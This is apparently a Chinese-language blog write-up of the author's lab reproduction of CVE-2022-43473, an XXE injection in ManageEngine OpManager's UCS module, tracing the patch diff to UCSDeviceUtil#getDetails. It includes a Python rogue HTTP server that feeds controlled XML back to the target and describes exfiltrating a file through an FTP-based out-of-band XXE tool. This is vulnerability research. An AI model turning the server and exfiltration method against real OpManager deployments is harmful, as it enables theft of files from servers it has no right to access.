目录

CVE-2022-43473 ZOHO ManageEngine OpManager XXE注入

前言

年前一直在忙没时间写文章,最近不忙了看到opmanager爆出一个XXE注入,人麻了,想起来上次审计opmanager时爆了rce,也不知道自己当时审计了个啥,还是太菜,不多说了来看洞。

官方漏洞通报:UCS模块中存在一个XML外部实体(XXE)漏洞。现在已经修好了。此问题已通过在解析 XML 响应时禁用 XML 实体得到修复,因此不会调用 XML 实体。

环境搭建

下载的是126140,打补丁的是126141,下载完一路下一步即可 https://archives3.manageengine.com/opmanager/126140/ManageEngine_OpManager_64bit.exe

远程调试直接在\OpManager\conf\wrapper.conf中改就好,文件中有开启远程调试的地方只是被注释了

漏洞分析

先来看下diff,发现修改的地方都是将createDocument改为了getSafeDocumentBuilder,直接在sink点修改,将所有使用createDocument的地方都改了,漏洞通报提到是在UCS模块中,所以重点关注UCSLoginHandlerUCSDeviceUtil这两个类

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/4acd0aa4-50d2-b165-67cc-4bde4fd2b9dd.png

这两个类中,总共修改了三处createDocument的地方,经过向上回溯排除了一个,剩下两个地方基本类似都是getDetails函数,都是创建connection连接,通过传入的deviceName(ip)和deviceName(端口),获取输入流然后使用xml解析触发xxe注入,接下来就是去找一下触发点了

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/cbe26c12-3e61-78c2-6d4d-7b3592ed5473.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/75b0d047-2b58-a408-24d3-365a908cd2a7.png

这是UCSDeviceUtil类中的getDetails函数

在功能点处找到一个添加UCS的地方,试验一下,添加凭证,UCS地址为物理机的地址,然后在两个类中都打上断点进行调试,看那个能走通

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/114d3cd0-8f63-e6e4-874a-1e99c6af1311.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/7c576ff8-cf8e-cf48-e440-a64687f14ea8.png

最后在UCSDeviceUtil类中的com.adventnet.me.opmanager.server.ucs.UCSDeviceUtil#getDetails(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String)函数中触发,代码很简单,就不一一分析了,最后因为设置的端口本身没有开,随即断开

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/d670219d-73b5-b76e-a3c7-0c4e9f359b0e.png

接下来用python起一个http服务,这里不能直接简单的python -m http.server 9999直接起服务,因为他需要在被访问后返回值,而这个被返回的值就是触发xxe注入的地方,因此需要可控,在网上找了一个脚本,稍微改了一下,其中data的值就是post请求返回的值(在添加凭证的地方看到有验证登陆密码的地方,也加了个验证,但经过实际验证并不需要)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import http.server
import socketserver
import base64


inName = 'admin'
inPassword = 'admin'
data = 'aaa'

AUTH_KEY = base64.b64encode('{}:{}'.format(inName, inPassword).encode()).decode()


class BasicAuthHandler(http.server.SimpleHTTPRequestHandler):

    def do_HEAD(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header("WWW-Authenticate", 'Basic realm="FileServer"')
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_GET(self):
        """ Present frontpage with user authentication. """
        if self.headers.get("Authorization") == None:
            self.do_AUTHHEAD()
            self.wfile.write(b"no auth header received")
        elif self.headers.get("Authorization") == "Basic " + AUTH_KEY:
            super().do_GET()
        else:
            self.do_AUTHHEAD()
            self.wfile.write(self.headers.get("Authorization").encode())
            self.wfile.write(b"not authenticated")

    def do_POST(self):
        print("-----------------------------------------------------")
        print(self.headers)
        content_len = int(self.headers.get('content-length',0))
        post_body = self.rfile.read(content_len)
        print("receive message from server: ")
        print("---------打印输出监听到的结果----------")
        print(post_body)
        print("-------------------")
        self.send_response(200) # 应答机制,接收到消息后,响应服务端,告知服务端已经收到消息,避免消息重复发送
        self.send_header('Content-type', 'application/x-www-form-urlencoded')
        self.end_headers()
        self.wfile.write(data.encode())


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True


if __name__ == '__main__':
    port = 9999
    address = ('', port)
    print('server listening at', address)
    with ThreadingHTTPServer(address, BasicAuthHandler) as httpd:
        httpd.serve_forever()

因为这个本身是没有回显的,因此要想办法把数据给外带出来,可以使用ftp协议利用工具进行外带,不过这个是有jdk版本限制的,Applications manager自带的jdk版本为1.8.0_202-b08,可以使用ftp协议外带,但是被外带的文件不能有\n,在这篇文章里有介绍

这里运行xxe-ftp-server脚本后,给的值为post包返回的值,为了验证漏洞,创建了一个test.txt文件,内容中没有\n,

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/253c6632-1f8a-14fd-8bf2-7662d87aae1f.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/6bc212ab-ed45-ce54-d20c-b580207ebd24.png

进行测试,确实可以外带文件,不过好像也没有其它利用的方式了

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/efba8c07-7611-df79-f1cd-8cab5a709512.png

小结

又犯了老毛病没仔细看diff,没看到UCSDeviceUtil类中的getDetails函数也被改了,在UCSLoginHandler类中耗费了不少时间,在发现不能触发断点的时候,还以为是因为条件不满足没触发,随即就去找在添加UCS功能点实现的地方,然后往下跟看那里没满足条件,然后就一路跟到了UCSDeviceUtil类中的getDetails函数,还以为是官方没修全,最后发现是自己diff没看全。所以一定要细心细心在细心。

本来准备在这篇文章里总结下Java层面XXE注入代码审计的一些知识点(毕竟这洞没太大研究的价值,多多少少要来些干货),但是有点事情耽搁了,等改天有时间重新写一篇总结文章。

参考链接

  1. https://www.manageengine.com/itom/advisory/cve-2022-43473.html